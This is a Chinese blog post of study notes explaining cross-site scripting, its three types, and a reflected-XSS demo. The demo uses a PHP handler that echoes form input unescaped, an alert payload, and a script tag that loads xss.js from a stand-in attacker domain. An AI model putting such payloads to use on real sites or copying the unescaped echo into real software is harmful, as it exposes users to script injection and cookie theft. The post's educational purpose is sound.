学习和研究Web安全这么久都没有好好地写过心得,SQLi、XSS、CSRF等常见的Web漏洞都看了个遍,回头看来还是什么都不知道(ps:学习和研究的时候做笔记相当重要啊~ ~)。闲暇之余,又拾起余弦大牛的技术精华《Web前端黑客技术揭秘》一书,本人没有做笔记写博客的习惯,但这一次,我要好好地记录一下下,就当练习自己的写作能力了~
0x00 XSS介绍
XSS(Cross Site Scripting)即跨站脚本,攻击者将恶意代码嵌入html页面里面,当用户浏览该页面的时候就会执行攻击者的恶意代码,导致用户cookie泄漏,用户客户端被攻击等。
就像书里面讲的一样,跨站脚本的重点并不在 “跨站” 上,而应该在 “脚本” 上。”跨站“ 实际上就是XSS攻击嵌入了一段远程的或者第三方域上的脚本资源,任何安全问题都有 “Input” 的概念,一般有安全意识的网站,输入的内容长度都是有长度限制的,这就给恶意代码直接嵌入页面造成了困难,但是常常会有下面这种攻击情况,引用第三方域上的脚本资源:
<script src="http://www.assailant.com/xss.js"></script>
这样的好处很明显:攻击者可以任意地操控攻击代码来实现不同的攻击效果。实际上,script标签可以嵌入第三方资源,这是浏览器允许的,对于嵌入的脚本内容,会与本域的脚本内容一样,在整个脚本的上下文环境中存在。虽然,xss.js文件在www.assailant.com上,但脚本内容却实际地嵌入对象所在的浏览器上下文中,这样,远程的脚本就在本地执行了。
大家可能觉得XSS没有什么危害性,XSS做的就是简单的弹窗,盗取用户cookie和相关信息,挂马,钓鱼等,但我并不这样认为,XSS的危害不亚于缓冲区溢出、代码执行、SQLi等安全漏洞,结合Ajax动态网页技术,XSS衍生出类似蠕虫般具有自我复制能力的攻击形态,不但能在短时间内造成大量的客户端用户受到感染,还能是受害客户端对服务器产生大量Request,形同对服务器的DDos。
0x01 XSS分类
XSS(Cross Site Scripting)分为三类:反射型XSS、存储型XSS、DOM XSS。
反射型XSS(非持久型XSS):简单的说,就是用户的信息提交到服务器,服务器解析后返回相应的内容,在相应内容的时候恶意代码被嵌入到页面,最后被浏览器解析执行。代码通过服务器响应直接在本地执行的,特点为一次性触发,所以称为反射型XSS。
存储型XSS(持久型XSS):攻击者通过注入恶意代码到服务端,其他用户浏览该页面时,恶意代码被原样输出客户端,触发恶意代码,因为恶意代码可以持久地保存在服务端,因而称为存储型XSS。
DOM XSS:它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。
0x02 XSS Example
下面给出简单的例子,这里有一个简单的表单提交页面,提交后,服务器返回所提交的表单信息。(form.html为表单页面,check.php为服务器处理程序)
form.html 文件内容如下:
<!DOCTYPE html>
<html>
<head>
<title>XSS Test</title>
</head>
<body>
<center>
<form method="POST" action="check.php">
姓名:<input type="text" name="name" /><br/>
年龄:<input type="text" name="age" /><br/>
性别:<input type="text" name="sex" /><br/>
<input type="submit" name="submit" value="提交" />
</form>
</center>
</body>
</html>
check.php 文件内容如下:
<?php
$name = $_POST['name'];
$age = $_POST['age'];
$sex = $_POST['sex'];
echo "<center>
您提交的信息如下:<br/>
姓名:$name<br/>
年龄:$age<br/>
性别:$sex<br/></center>";
?>
下面我们正常地提交表单信息,如下:

点击 ”提交“ 按钮后,服务器返回如下信息:
如果攻击者在 “姓名” 中输入如下恶意代码并进行提交:
<script>alert('hello xss')</script>
服务器会返回如下页面:
此时成功地执行了刚才的Javascript代码:“alert('hello xss')” 出现了弹窗,触发了反射型XSS攻击,分析代码很容易发现,出现该漏洞是由于服务器端没有对用户的输入进行任何过滤就将其返回给用户,导致攻击者可以插入任意脚本反射执行,虽然反射型好像只能用来自娱自乐,但是在大型的网站中,还是不能够轻易忽视的。